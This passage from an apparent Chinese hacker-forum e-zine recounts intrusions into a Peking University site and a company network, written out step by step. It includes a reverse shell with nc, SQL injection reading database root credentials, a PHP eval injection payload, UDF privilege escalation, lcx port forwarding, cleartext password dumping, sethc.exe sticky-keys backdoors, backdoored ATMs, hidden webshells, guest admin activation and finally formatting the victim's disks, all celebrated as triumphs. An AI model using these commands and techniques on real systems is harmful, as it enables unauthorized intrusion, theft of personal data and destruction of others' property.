		🔁 1359449992.pdf	2013-01-29 08:59:52	266124	0644		
		📆 1358426407.pdf	2013/01/17 12:40:07	449959	0644		
		🔁 1359044192.pdf	2013-01-24 16:16:32	290358	0644		
		🔁 1357647201.pdf	2013-01-08 12:13:21	1354089	0644		
		🔁 1359033960.pdf	2013-01-24 13:26:00	1490914	0644		
		🔁 1359449579.pdf	2013-01-29 08:52:59	805372	0644	1000	
		🔁 1358932156.pdf	2013-01-23 09:09:16	2970178	0644		
		🔁 1357305459.pdf	2013-01-04 13:17:39	2822762	0644		

图 3.2.11 菜刀连接成功

成功!。 服务器貌似是Linux。 先上个大马试试提权. 执行命令收集下信息,如图 3.2.12, 3.2.13



图 3.2.13 收集信息

接下来找 exp nc 反弹,但是我是内网,不过谁说内网不能反弹[~] 看我的。路由器 192.168.1.1 配置如图 3.2.13, 3.2.14。



图 3.2.13 配置路由器

Linux - Alexa	Microsoft Windows (版本 6.1.7601) 版权资本 (a) 2009 Microsoft Composition 保留资本权利
你的地址 1.196.111.30	版代列有 (C) 2005 Hierosore Corporación。 床面用有九州。
连接端口 12666	C: Wsers \Faceless \cd/
执行方式 perl v	C:\/nc -l -n -v -p 12666 listening on [anyl 12666
开始连接 建/tmp/spider_bc成功 行命令失败 可以尝试连接端口 (nc -l -n -v -p 12666)	connect to [192.168.1.100] from (UNKNOWN) [124.127.121.202] 48325
	i686 i686 i386 GNU/Linux uid=502(www) gid=502(www) groups=502(www) whoani

图 3.2.14 配置路由器转发

转发成功就找 exp 内核版本已经知道了 ,但是本彩笔试了半天。各种 EXP 都无果。 本彩笔手中没啥子 0day…Linux 提权本彩笔除了用 exp,其他的我会。。。。 唉 就到这里吧。搞到个分站不错了。。

(全文完)责任编辑:飞云

第3节 一次蛋疼的无技术渗透 PK 你大学

作者: haxsscker

来自:法客论坛-F4ck Team

网址: http://team.f4ck.net/

我的习惯是先找后台,毕竟后台地址弱爆的很多都是开源的 CMS,BBS 等,要么就是比较弱的自写系统

google:site:pku.edu.cn inurl:admin

果然一大堆……

其中有这么一个系统,弱口令就进去了……但是无果……如图 3.3.1

02	理员登	陆		×	-		I	I	Ī	1		1	Ī	ĺ	Ī	Ī	ľ								+	+																																																														
÷	÷	5	•																									1							•	,	,))),	/	/	a	9	c		n	n	i	n	v	12	30	d	m	ni	r	١.	_		4	ũ)	ť	2	1	7		N	,	ì	进	5	(C]		*	3	-		G	0	0	g	le	,	V
																																																									i									1								1														
																																																				Ĺ			1	I								-		,		-	•		1	2	5	8														
																																																								1	I	C)	:																	6	2	0	왭	And A	R						
																																																							I	P	۱	٨	V	:																l		L	0	0	5	N	J					

图 3.3.1 系统后台

还有个有 FCKEDITOR...这个我没来得及试啊,不知道能不能成功,等发完文再去试试……有 兴趣的试试吧,如图 3.3.2

Index of 7	admi	in/1	fckeditor/editor/
Name	Last modified	<u>Size</u>	Description
Parent Directory		-	
autogrow/	14-Feb-2011 14:45	-	
placeholder/	14-Feb-2011 14:45	-	
simplecommands/	14-Feb-2011 14:45	-	
tablecommands/	14-Feb-2011 14:45	-	

图 3.3.2 发现 fckeditor

终于发现一个有注入的:





图 3.3.4 找到后台

爆了用户,但是进去之后无果……,于是就想注入点试试读写吧, 爆个路径吧……

🕘 🚛 pku.edu.cn/ 👫 tota, indu	1.870 ☆ ▼	📌 高速 🦿 🔮	🚽 Google <c< th=""><th>₽● ⊕</th><th>7 @</th></c<>	₽● ⊕	7 @
-		Ŀ–	页 1 2 下一页	(当前第1页 共2	页 11条记录)
		-			
rning: getimagesize(http: .led! HTTP/1.1 403 Forbidden in 🚄	∿ku, edu, cn.′ _`.0	[function.getim	agesize]: faile	d to open stream	=: HTTP reques 189

图 3.3.5 爆出路径

物理路径就有了,读个试试吧:

- · · · · · · · · · · · · Ke	ad
php<br include_once (dirname(FILE)."//inc/conn.php"); include_once (dirname(FILE)."//inc/function.php"); 2>	^
<pre><!--<br--><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xh <html xmlns="http://www.w3.org/1999/xhtml"> <head></head></html></pre>	1
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/> <meta name="keywords" content="週插荻網戣 種戦〉關 紝璁插荻網? />	
php</td <td>~</td>	~
<	

图 3.3.6 读取文件

有了 inc/conn.php 地址了, 读之:

php</th
\$web_datahost="database.metc";
\$web_podcast="http://personalizations.com/info/personalizations.producer/attachments";
\$web_database=" ;
\$web_datauser="root";
\$web_datapassword="p p";
\$web_dbtop="pku_";
\$web_name="pku";
\$wab_yyz]="b++y=

图 3.3.7 读取 conn.php

居然还是 root.....

select '123' into outfile '/xxxx/f4cku.php'

无果,同样试了穿山甲也写不进去

辗转反侧,终于--发现了一个 phpmyadmin,事实证明,没事找找 phpmyadmin 还是会有收获的!

直接登进去了,管理员大意了吧,先看下目录:

SELECT @ @)datad	ir				
显示 :	30	行,	起始行 #	¢ 0] U	水平
选项						
Ødatadir						
xampp\mysql\a	data∖					

图 3.3.8 查看目录

一看这个目录,以为是 linux 系统,然后就想到了 UDF 提权, 直接将 16 进制的 udf 内容插入表中 但是很奇怪,怎么也不能 dumpfile,如图 3.3.9 (后来事实证明他是 windows…蛋疼)

在数据库 aero 运行 SQL 查询: 。 select * from a into dumpfile '/usr/lib/udf.so'	•	#1064 - You have an error in your SQL syntax; check the manu 0, 30' at line 2	a
select * from a into dumpfile '/usr/lib/udf.so'		在数据库 aero 运行 SQL 查询: 。	
		select * from a into dumpfile '/usr/lib/udf.so'	

图 3.3.9 dumpfile 失败

第30页 /共127页

但是却可以 into outfile, 提示是无法写入

● #1 - Can't create/write to file '\usr\lib\udf.so' (Errcode: 2)

 在数据库 aero 运行 SQL 查询:
 ●

 select * from a into outfile '/usr/lib/udf.so'

图 3.3.10 into outfile 成功

于是思索着这个奇怪的现象,

这时候女神们集体问道:"莫非是 windows……?"于是查了下 xampp 的文件目录,一张 linux, 一张 windows (可以看到,目录不一样)

路径	内容
\xampp\anonymous	匿名 FTP 的样例文件夹
\xampp\apache	Apache 服务器
\xampp\cgi-bin	可执行的 CGI 脚本
\xampp\FileZillaFTP	FileZilla FTP 服务器
\xampp\htdocs	http 文档的主文件夹
\xampp\install	用于 XAMPP 的安装(请勿删除!)
\xampp\licenses	同上
\xampp\MercuryMail	Mercury 邮件 SMTP POP3 IMAP 服务器
\xampp\mysql	MySQL 服务器
\xampp\perl	Perl
\xampp\php	PHP (4和5)
\xampp\phpmyadmin	phpMyAdmin
\xampp\security	额外的安全配置
\xampp\tmp	临时文件夹
\xampp\webalizer	Webalizer 网络状态
\xampp\webdav	WebDAV 样例

图 3.3.11 windows 的 xampp 目录

文件/目录	用途
/opt/lampp/bin/	XAMPP 命令库。例如 /opt/lampp/bin/mysql 可执行 MySQL 监视器。
/opt/lampp/htdocs/	Apache 文档根目录。
/opt/lampp/etc/httpd.conf	Apache 配制文件。
/opt/lampp/etc/my.cnf	MySQL 配制文件。
/opt/lampp/etc/php.ini	PHP 配制文件。
/opt/lampp/etc/proftpd.conf	ProFTPD 配制文件。(从 0.9.5 版开始)
/opt/lampp/phpmyadmin /config.inc.php	phpMyAdmin 配制文件。

图 3.3.12 linux 下的 xampp 目录

第31页 /共127页

按目录来看……似乎是 windows 的 xampp,于是豪不犹豫……写入 PHP 一句话



- 图 3.3.13 写入一句话
- 连上去了……还真是 windows...



基本就是找到 mysql /lib/plugin/

上传 dll 就 ok 了,都不用导出了……) 于是:

	SELECT sys_eval('whoami')
	显示: 30 行,起始行 # 0
S	+ 选项
age	<pre>sys_eval('whoami')</pre>
:	nt authority\system
	图 3.3.15 提权成功
最后, 删掉 shell, 删掉 dll, 截个图给自己留个纪念, 走人	
✓ 您的 SQL 语句已成功运行 (查询花费 0.0015 秒)	
DROP PONCTION Sys_eval	
	图 3.3.16 删除 痕迹
友情提示	
PKU 的妹?	妹说:"请勿将本文用于非法用途!也不许搞破坏!"

(全文完)责任编辑:飞云

第四章 渗透测试

第1节 习科作战故事: 仇杀 环环相扣

作者: YoCo Smart

来自: 习科论坛 - SilicGroup

网址: http://blackbap.org

注:本故事取材自习科核心开发,故事截图全部处理过

另外,本文不是记述文,是一篇小说,故事情节与实际有出入,仅为博取各位苦逼的程序员 一笑而已。

开端

在习科团队里面工作的每一天都是那么普通,但又是那么的特殊。普通的是团队成员每天都 在努力的做好安全顾问的服务,特殊的是每天都在发生这不同的故事。

乐乐在习科里面不但是一名安全顾问,还担任着一个更重要职位:商业间谍。

第 33页 /共 127页
习科团队曾经给客户设计过一个网站服务器群架设方案,客户现在怀疑这份设计方案被内鬼 盗卖,并且锁定在了某个人力财力竞争都很强大的对手。

所以客户来信希望在两个礼拜以后的某次竞标开始之前,习科能渗透到竞争对手内部网络, 揪出公司内鬼,以避免标书被对手窃取。当然客户也希望习科团队能顺便做一点其他的事情 就,比方说。。。

习科团队中的渗透好手很多,曾经有一次 DreaMZ 将某知名公司上下总共一万四千台机器全部控制。那次渗透 DreaMZ 是从其公司老总开始的,从开始到结束总共花费了四个月的时间。 渗透从拿到几台服务器开始,到 FTP 服务器绑马,最后得到了公司老总的笔记本的控制权, 最碉堡的是那位老总的笔记本上面有遥控全公司监控探头的权限,包括转头对焦等等,自己 本地做了数据库,将每台计算机在数据库中标注上使用者、任职、权限和后门等等。

不过这次任务并没有安排 DreaMZ 去做,而是给了乐乐,每个人都需要表现的机会,乐乐进 了习科四年,对于老大分配的任务一直低调且按时完成,之所以低调,是没有掀起什么大的 波澜。四年了,老大想也应该让乐乐好好给大家表现表现了。

初显

乐乐深知自己无法超越自己的前辈 DreaMZ,不过好在这次任务是查内鬼,其他的都是附属 而已。虽然这么说,不过对于这个同样机器过万的公司乐乐感觉压力还是蛮大的。

既然任务分配到自己了,那么先找入手点吧。查了一下这个公司外网开放的服务器地址: 59. X. 198.* -> 是公司各个部门的分站

61. X. 177. * -> 这个 ip 段有公司主站和 Mail 服务器

118. X. 12. * -> 这个段的 ip 只有一个, 是公司几个客户的站放在上面

202. X. 129. * -> 这个段的 ip 只有一个,公司的人事管理系统在这里

这样看,要下手只有从人事管理系统先下手了,第二步再想办法渗透 Mail 服务器和主服务器。乐乐深感自己对这样的大型网络渗透经验不足,所以先捡软柿子捏好了。

118. X. 12. *服务器上面有很多企业站,虽然由 IIS 以虚拟主机的方式运行 asp, aspx 和 php, asp 和 php 权限都很严,但是很多这类虚拟主机的 aspx 直接继承了 users 组的权限,限制 往往比 asp 和 php 松很多。提权没搞定,但是跨目录却跨到了人事管理系统的目录? 乐乐猜 想,这应该是以前人事管理系统的目录,后来因为种种原因,单独挪到另外的服务器了,但 是原有的文件并未删除。

乐乐发现,不但文件没删,连旧数据库也保留了。用旧数据库密码轻松登陆了新服务器密码, 审计原有的代码,发现在某功能页的打印函数中发现一个远程代码执行漏洞,和某个 Wordpress 插件漏洞很是相似:

```
case 'print':
    $record=record($_GET[number]);
    global $printing_x;
    $printing_x = 'info_'.$_GET['number'].$record;
    @printing();
    eval('echo 'printed documnet '.$_GET['number'].' and '.logged();');
break;
```

假设 print 的 numer 是 32, 那么将 GET 的值 32 带入函数中,除了被打印和被输出显示外, echo 外面还多套了个 eval()执行两个单引号内的代码。

eval 没有多内容做审查就直接执行了。如果构造这样的语句:

.php?action=print&number=32';eval(\$_GET[cmd]);echo'&cmd=phpinfo();

那么实际上得到的就是:

\$cmd=phpinfo();

eval('echo 'printed documnet 32';eval(\$_GET[cmd]);echo'and '.logged();');

一句话直接远程插入执行。这个手法有点注入的思想。

乐乐拿下了人事管理系统,但是这个公司没有其他 ip 在这个段上,不需要继续渗透。这台服务器唯一的价值就是职员编码总库,如图 4.1.1

0	C -	••) =							职工编	码总库201	10506	i.als [兼容機	C] - Micros	oft Excel		
	开始	插入	東南布局 公:	式 数据	南周	報問										
1	X 100	宋体	-	10 - A A	-		20	-	自动换行	常规		-		🔛 🔛	P= 3	
Ralla			in line li a	A l'ante	-		-	-				100.00	条件格式	套用 单元格	插入删除	
-	A 802/88	BI	<u>u</u> - <u>u</u> - <u>u</u>	· • · ×			she she	CNS	611064		. %	* 266 -26	- 3	睹権式・样式・		
	Na 19		字体							Ta .	R .	- G			单元制	2
	M7649		(* 5.													_
	A	B	C	D	E	F	G		H	I		J	K	L	Ш	
1	人员编码	编制类	别编外人员类别	日期	卡有效期	姓夕	5 性别	出	生日期	学位		联系电话	籍贯	民族	政治面貌	职
7631	20129	编外	専用制収工	2012-6-14			二 男	1	10							
7632	20128-011	<u>場外</u>	専用制約工	2012-6-14			<u> </u>		-5		+-		-			
7633	20128 1018	増介	専用制む工	2012-6-14			<u> 8</u>	1	<u>31</u>				-			
7605	20128 018	3間21	第日初町上	2012-6-14			<u> </u>	1	4		+					
7696	20128 018	9月212	朝田和町工	2012-6-14		+	<u>×</u>	10	-3		+					
7637	20128 018	1980 21P	現代的モニー	2012-6-14		H	× ×	134	10		+-					
7630	20128-018	頭刀	44.75.0145.1	2012-6-14		+			12	18+	+		-			
7639	20128-018	(編品) (編品)	使用利取工	2012-6-13		+-	- <u>×</u>	- 1	-6	N.T.	+		1			
7640	20122 010	会尾續	4670 6145.1	2012-6-14			- 00		11	18 十	+		1			
7641	20122 018	全民墙		2012-6-14		+	- 2 2	19:	23		-		1			
7642	20125 019	编外	地方這	2012-6-14			1 2	1	13	学士	-					
7643	20122 019	全民编	1000210	2012-6-14			支	19	IT	硕士						
7644	20122 019	全民编		2012-6-18			男	1!	20	博士						
7645	20122 019	全民编		2012-6-20			女	11	29	硕士						
7646	20122 019	全民编		2012-6-25			男	11	25	学士						
7647	20125 019	编外	地方编	2012-6-26			支		-2	学士						
7648	20125 019	编外	临时工	2012-6-27	2年		女	11	19							
7649	20125 019	全民编		2012-T-2			支	1		硕士						
7650	20125 019	全民编		2012-T-2			男	1		硕士						
7651	20125 020	编外	地方编	2012-T-2		\perp	支	1		<u> </u>	_					
7652	20125-020	编外	地方编	2012-T-2		\perp	文	1		<u> </u>	_					
7653	20125 020	<u> 清外</u>	地力编	2012-7-2		1.1	艾			<u>71</u>			-			
7654	20129-020	主氏調		2012-1-2			- X	1		<u>枳工</u>			-			
7655	20125 020	主氏調		2012-1-2		H-1	8	1		<u>RT</u>						
7655	20125 020	主氏場	14/2:10	2012-7-2		1	8		1000	探工			-			
7650	20125 020	2篇22	78/7:6	2012-1-2			1			7 I						
7650	20125 020	13月27日 11月21日	地方場	2012-1-2			H Ť			10 ±						
1003	20125 1020	12827	26/23	2012-1-2		-	<u> </u>		10000	85 L	-					

图 4.1.1 职业编码总库

职工名单中共有 7833 人,乐乐写了个程序对名字和生日进行匹配,意料之中,这个名单中 没有一个人是和客户公司的人员名单匹配的。

进入内网

今天现在的渗透也只不过是停留在 web 层面。乐乐搞了这个公司几个部门的数据库,相信各个部门的网站权限意义也不大,脚本小子们改改首页的行为在乐乐和习科人看来,只有特别特别无聊的时候才会去做。这次是商业渗透,可没有时间去无聊。从数据库节筛选出了一些管理层的密码,大概有几十个。这个密码是用来匹配 61.X.177.11 这个公司 Email 后台的。

	Coremail System -	管理员登录	
	Admin Username 邮件地址:		
	Password 密 码:		
	Language 语 寓: [简体中交 📼	
	(Login 登录	
割世		P	,
	© Copyright 2000 - 2011 Mailtech.	di	习科 silic

图 4.1.2 Email 后台

第 35页 /共 127页

这个公司使用的是 Coremail,不过 Coremail 的后台着实不好找,这个公司的 coremail 后 台路径居然是 61. X. 177. 11/juyifansan/,几十个高管的密码确实有那么几个账号和密码可 以匹配到 Coremail 的后台。

翻邮件的事情老大自会找人去做,只是渗透只停留在脚本层面还是远远不够的。

一些邮件表明,这个公司拥有 218. X. 16. *整个 C 段的 ip,但是外网应该都不能连接到,因为 218. X. 16. 39 控制着整 C 段的外网出口,除了 80 端口和 https 的 443 端口,整 C 段没有 任何其他的端口对外开放。比方说乐乐要想连接 218. X. 16. 40 的某个端口的话,就必须让这 台机器反向来主动连接乐乐,可是拿到服务器以前怎么让服务器反弹连接呢?

乐乐轻松的使用 FCKeditor 拿下了 C 段的 105 机器, 是个 JSP 的服务器, 这个时候就可以使用

1cx -s 外网 ip 外网监听端口 127.0.0.1 3389

将远程桌面端口给反弹出来,就解除了外网出口的屏蔽。lcx可以在习科的兵器库 [attach.blackbap.org/down/]下载。

不过乐乐看到了服务器上面装了卡巴斯基,没等反弹呢,就被杀了。Tomcat+JSP 要想搞定 卡巴很容易,

然后重启一下,就把卡巴彻底搞掂了。在战场上效率和隐蔽是非常重要的,乐乐在兵器库翻 出了一个新更新的"JSP端口转发.jsp"工具,在兵器库的[attach.blackbap.org]的"网 站安全"分类下。用这个工具就不会因为杀软被关而被管理员发现了。

团队里的小白姐告诉乐乐,这个时候如果重启,将必然导致渗透失败。因为对数 Windows 的 Tomcat 是依赖 administrators 这个账户的,一旦这个账户被注销或者未登陆,Tomcat 八成无法启动,也就是说这台服务器将失去唯一的 80 端口的连接。因此乐乐选择用 JSP 端 口转发工具算是侥幸没搞砸。

为了减少痕迹的清理,乐乐先登陆了这个公司 202. X. 129. *这个人事管理系统的服务器,在 上面执行:

e:\lcx.exe -1 3333 4444

然后将 jsp 的端口转发程序上传到 218. X. 16. 105/s. jsp

http://218.X.16.105/s.jsp?localIP=127.0.0.1&localPort=3389&remoteIP=202.X.129.* &remotePort=3333

访问这个页面回显空白,没有 500,说明反弹了。回到 202. X. 129. *的服务器也看到这样的回显:



图 4.1.3 服务器回显

第36页/共127页

这个时候只要用远程桌面连接: 127.0.0.1:4444 就能连接到处于内网环境的 218.X.16.105 的 3389 端口了

原理就是,218.X.16.105的3389端口不对外开放,202.X.129.*的3333和4444也没有开 启,首先1cx把3333和4444端口打开,然后让218.X.16.105的3389与202.X.129.*的3333 端口连接,1cx把4444和3333端口又连接到了一起,连接127.0.0.1的4444端口,就连 接到了1cx,1cx又通过3333端口连接到了对方的3389,因为路线太曲折,所以如果机器 配置不好,或者网路速度有问题,就会特别的卡,或者不稳定,掉线。

拿着对方公司的外网服务器,连接另一台内网的服务器,除了不需要清理大量的登陆痕迹, 还可以解决这样的网络不稳定的问题。

就这样乐乐就进了这个公司的第一个内网。

内网套内网

很意外,105 这台机器居然还有个内网里面的内网 ip,1cx 显示是 10.0.0.189,这个 10 段 的 ip 应该是内网中的内网了。

乐乐现在做了两件事,第一件事就是读一下管理员的密码。

之前有人发现 Windows 会将明文密码存入内存,可以直接读取内存数据得到管理员的密码。 在习科的兵器库中,内核相关的部分收集了一个网上流传的不错的读取工具 GetPass.exe 2012-11-6 15:23 上传,运行



图 4.1.4 读取管理员密码

这个管理员的密码是,./,./

第二件事就是扫描一下整段 ip 的开放的端口,乐乐选择了尚处于开发阶段的 iKnock, iKnock 现在习科并没有对外公测,一个是完成量不足 20%,另一个是这个程序需要.Net FrameWork 版本 4 的支持,不过安装完整的程序包太慢,扫描端口只需要下载 FrameWork 4 的 Client Profile 就够了。

可惜的是,整段 ip 开放 3389 的端口很多,但是 189 这台机器的 administrator 的密码,./,./ 对于其他的任何一台也不匹配,只能另谋他法

那就一个端口一个端口来吧,从 21 的 FTP 端口来。从头开始用匿名账号登陆 FTP,都没成功。就当乐乐要准备放弃的时候,发现了一个突破点:

直接输入 ftp://10.0.0.xxx 所有的 FTP 都需要验证,但是在网上邻居那里,乐乐偶然发现 管理员访问过\\10.0.0.183\D\$,乐乐换成了\\10.0.0.183\C\$同样登陆成功,如图 4.1.5

2		127.0.0.1		- 8	×	
\\10.0.0.183\c\$\TIDOTS\s	ysten32\dllcache				_ [JX
文件(E) 编辑(E) 查看(V) 收	綮(a) 工具(t) 帮助(b)				1	2
🔾 后退 • 🕥 - 🍠 🔎 捜索 👔	> 文件夹 ┃					
地址 @) 🚞 \\10.0.0.183\c\$\WIND	DWS\system32\dllcache				- 🔁 R	椡
	名称 →	大小	类型	修改日期	属性	
文件和文件夹任务 🛠	services. exe	109 KB	应用程序	2011-1-13 16:37	AC	
	🔊 serwydry, dll	17 KB	应用程序扩展	2011-1-13 16:37	AC	
■] 重命名这个文件	sessagr. exe	122 KB	应用程序	2011-1-13 16:37	AC	
☆ 移动这个文件	sethc. exe	460 KB	应用程序	2011-1-13 16:42	AC	
「創業制这个文件	T setregni. eze	104 KB	应用程序	2007-2-17 7:58	AC	
将这个文件发布到 Web	🛅 setup50. exe	72 KB	应用程序	2011-1-13 16:37	AC	
○ 以車子邮件形式发送此	🛃 setup. exe	39 KB	应用程序	2011-1-13 16:37	AC	
≥ 文件	Satup_ms. exe	780 KB	应用程序	2011-1-13 16:37	AC	
▶ 删除这个文件	🔊 setupapi. dll	1, 4TT KB	应用程序扩展	2011-1-13 16:37	AC	
	🛃 setupn. exe	20 KB	应用程序	2011-1-13 16:37	AC	
	🔊 setupqry. dll	39 KB	应用程序扩展	2011-1-13 16:37	AC	
其它位置 *	🗖 setx. exe	TO KB	应用程序	2011-1-13 16:37	AC	
Section 2	🔊 seva. dll	94 KB	应用程序扩展	2007-2-17 6:56	AC	
- sindharde	S sfc. dl1	5 KB	应用程序扩展	2011-1-13 16:37	AC	
30000048	🗖 sfc. exe	13 KB	应用程序	2011-1-13 16:37	AC	
🚽 我的电脑	🔊 sfc_os. dll	132 KB	应用程序扩展	2011-1-13 16:37	AC	
🤜 网上邻居	🔊 sfefiles. dll	1,640 KB	应用程序扩展	CE011-1-13 16:37	AC	
_	🔊 sfeepi. dll	24 KB	应用程序扩展	2011-1-13 16:37	AC	
	🗐 sfeatalk sys	147 KB	系统文件	2011-11210-37	: 1: /	
す 開 信 显 ◇	🔊 sfaatasg dll	8 KB	应用程序扩展	2011-1-13116:37	uu	/
	🔊 sfactrs. dll	8 KB	应用程序扩展	2 344-10-12 16-2% e	VEAD	0.00
	Sfmon. dll	45 13	应用程序接展	2011-1-13 16:37	ander.	ORC

图 4.1.5 登录 C 盘成功

直接把 C 盘的 system32\dllcache 的 sethc.exe 和 system32\sethc.exe 都换成同名的 cmd 程序。 轻松获得 3389 权限。

登陆的第一步还是读管理员密码管理员的密码读到明文是,./,./imb, 这个密码通杀了 10.0.0.x 大部分的机器。

10.0.0.X 的机器多数是公司设备运营的机器,甚至考勤机和 ATM 终端。如图 4.1.6



图 4.1.6 登入其他机器

3389 连接内网 3389, 在继续连接内网的 3389, 乐乐已经渗透进两层 3389 了。 之所以 10.0.0.X 的渗透速度这么快,还得益于管理员没有清理 3389 登陆记录。本来这个段 的某些机器把默认的 3389 端口修改了,乐乐能用 iknock 找到的可能性极小。但是管理员给 乐乐大开方便之门,9234 端口就是3389 修改后的端口。



图 4.1.7 修改后的 3389 端口

乐乐从一台服务器上面的登陆痕迹发现了 10.0.2.x 的登陆记录,但是 iknock 却扫不到除了 10.0.2.201 以外的 10.0.2.x 的机器,相信这个 ip 段也是一个内网段,只有一两台机器控 制着出口。

因为从 10.0.2.201 可以连接 10.0.2.90, 但是在 10.0.0.x 上面却不能连接 10.0.2.90

- 12619		注懷		
. 0. 0.	1:44	444 - 运程4	٤.m	
2		27		
\sim		10.0.2.	201 - 這程桌	መ መ
rvice	i Kr		2	-
				2 10.0.2.90 - 远程卓面
2		我的文档	杀毒软件	
198.44				
	dot		e	
		The during the		登录到 Windows
>		我的电脑	一下週 界 二 方同步程	
TURE				
		S		vvindows**
		网上细胞	Vindows	Copyright © 1985-2001 Microsoft
2		1.377.46/13	FEMAN 30	
文档	Get			用户名 (0): administrator
-		回收站	ZNetCon UL	密码(P): ************************************
			太阿軍	
电脑	xp			
			- 🕄	
1		Internet	查询分析器	· 3 潟·
0		Explorer		
部居		S		00
		47		

图 4.1.8 尝试登录 10.0.2.90

第39页 /共127页

这个段乐乐也是用同样的办法,139 端口登陆共享 C 盘, 替换 sethc. exe 然后登陆 3389 的时候按 5 下 shift 弹出 cmd 后门登陆。

这个段的密码就是,./,./lx1()!@

乐乐用一样的方法渗透的好几个 ip 段,大部分都是 XP,虽然不知道为什么,但是渗透到这 里其实已经完成的,因为乐乐从不止一台机器发现了对方内鬼的事情。当然老大那边也从 Email 那里发现了 Email 通信内容。

驻扎

乐乐完成了主要任务,附属任务嘛,需要先在某一台机器上面驻扎下来。乐乐想到了一个好地方,对方公司的ATM机。



图 4.1.9 对方公司的 ATM 机

这个时候弹出了开始菜单。用任务管理器把全屏程序保护程序还有全屏程序的进程给结束, 就看到 Windows XP 的桌面了, 如图 4.1.10



图 4.1.10 看到 windows XP 桌面

第40页 /共127页

已经是一个礼拜了。今天是周日于周一交接的凌晨,ATM 机这里肯定不会有人的。乐乐看了一下摄像头确认了一下:



图 4.1.11 查看摄像头画面

第一个 ATM 机很容易种好了后门,清理了痕迹,重新开启了全屏程序运行。 但是第二个 ATM 机就没那么容易了。全屏程序完全找不到可以弹窗或者弹出开始菜单的方

不过这都难不倒乐乐。

法。

乐乐把输入法调出来,发现装了微软拼音输入法,点一下"帮助",如图 4.1.12

कोंग को साथ	12	and the second s	के ले के मा
同广东	7	2.0	同广告的
起始日	期 10 2-10	0-28	终止日期
序号	商户名称	查试商户账	結果如下 売水日期
·····································	、法 帮助		
日本		107- 选项 (0)	
 次迎使用微和 ? 新增功能 输入法界面及 基本输入及界面及 管能设置 输入技巧 	♥拼音输入法 ↓ 操作 ↓	Micr	rosoft® 数软拼
		简介 微軟拼音 音幅入生	俞入法是一种基于语句的智能 6.是自然语言外理技术多多
		E #1/2/5	MONE DIVISION DI SECRETARIA SI SA

第 **41**页 /共 **127**页

图 4.1.12 调出微软拼音输入法

用"打印"这个功能,将窗口弹出来,只要有个"浏览"



图 4.1.13 进入"浏览"选项

最后就能把窗口弹出来了,如图4.1.14



图 4.1.14 弹出窗口

因为 ATM 不连外网,为了防止找不到后门,乐乐把所有的 ATM 全都种了后门。这样一旦与外

网连接的线路被切断,可以到这个公司的 ATM 机上面继续渗透他们的内网。

仇杀

这样一个大公司,显然不是吹出来的。对方公司显然发现了乐乐的渗透,毕竟连接的时间太 长了,已经一个多礼拜了。

管理员显然已经发现了乐乐的一些蛛丝马迹,比方说 iKnock、Cain 等这些工具的存在,并 且还打包放在了桌面。

乐乐通过之前渗透的信息,发现这个管理员经常在有一台服务器上面进行本地登陆,而且这 台服务器没开 3389。

这台服务器好在有 80 端口的站点,直接用 SYSTEM 的 webshell 执行

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 就直接登陆了远程。

管理员在找乐乐,乐乐就在管理员的服务器上面看着管理员。虽然管理员踢了乐乐好多次, 而且关了 3389,但是毕竟技术有限,再敬业也斗不过黑客。

这个管理员的敬业程度让人咋舌,管理员把白天整理的材料放在服务器,晚上回家前开了 3389 然后回家登陆继续整理追查。

乐乐没料到管理员会远程登陆服务器。心里面犯嘀咕,怎么会有人也拿到管理员的密码了 呢?而且 net user 里面没看到其他用户,真的有黑客这么神,连半点痕迹都不留就登陆了 服务器?

query user & net user administrator XXXXX

query user 是查看本机用户状态,找到了远程的 administrator 的会话 ID 是 3

cmd /c logoff 3

大约过了半个小时,服务器断开了连接,无法再连接上,80端口也关闭了。

乐乐这才意识到,真的是管理员远程登陆了服务器,被自己踢了登陆不上,去机房拔网线了。 不过乐乐给自己的 webshell 做了隐藏:

attrib +a +h +s +r c:\wwwroot\back.php

估计以这个管理员的水平式无法查出来的。

服务器再次启动就是第二天了。管理员启用了"带网络连接的安全模式"



图 4.1.15 登录服务器 管理员大概是以为中了木马之类导致的吧,而且加装了 360,把 cmd 禁用了,如果 net user 第 43页 /共 127页

add 的话,就会提示找不到组。

很容易,乐乐传了个 GetPass. exe 到 windows 下的 temp 目录,然后在 webshell 里面执行:

copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

连接 3389 以后,运行 GetPass. exe,额,被系统提示无法读取。

那就写了一个添加账户的 VBS 到 temp 目录:

cscript c:\windows\temp\a.vbs

这样就又登陆进去啦 ——@

管理员估计已经焦头烂额了,因为乐乐一次又一次的驻扎进来,别说处理其他服务器了,连 自己的机器都处理不好,写了一个 bat,每 30 秒执行一次关 3389

看着情形,管理员铁了心想撕破了脸皮了,于是乐乐先启用了 Guest 账户:

net user guest /active:yes

net user guest guest

net localgroup administrators guest

到最后一段命令,执行失败了。干脆还是直接改管理员密码吧。

改了管理员密码,踢了管理员,格盘,设置硬盘逻辑锁,刚刚操作完,突然发现这台服务器的内网网卡提示被拔出,接着。。。 好了,这次复仇的渗透完美胜利!

(全文完)责任编辑:游风

第2节 伪入侵

作者: hacked

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.net

引用帖《渗透某大型黄色论坛》

某些东西比较诱人.

留意到作者,使用迅雷下载 以及在文中提及,"于是上了哥的 100M 服务器高速下载"。 熟识迅雷的人应该知道,迅雷下载为什么这么快的原因。

因为下载资源是会被迅雷记录 包括 URL 以及文件 MD5, 迅雷会记录源地址, 每次建立任务时都会于迅雷服务器进行匹配, 分配源和资源。

原地址文件 http://www.zjts8.net/web.rar 已经被删除了

在迅雷使用通过进行下载,可以寻找到资源,这说明还有源存在,如图4.2.1

7
7
10 M

图 4.2.1 找到资源 不过,压缩包里没有我想要的,数据库备份目录是空的。



第 45页 /共 127页

ok. 对不起了,兄弟。没冒犯的意思就是打码要打好。 (全文完)责任编辑:游风

第五章 那些年我们一起学 XSS[续]

第1节 DOMXSS[显示输出]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

反射型 XSS 部分,就到这里了。接着我们进入 DomXss 的部分。DomXss 相比反射型 XSS,脑袋需要多思考一层。也就是说,我们关注的不仅是【输出】了什么,还要了解这个页面里,【javascript】拿这个【输出】干了什么。为了循序渐进,本例讲到的是,【输出】直接在源代码可见的情况。

详细说明:

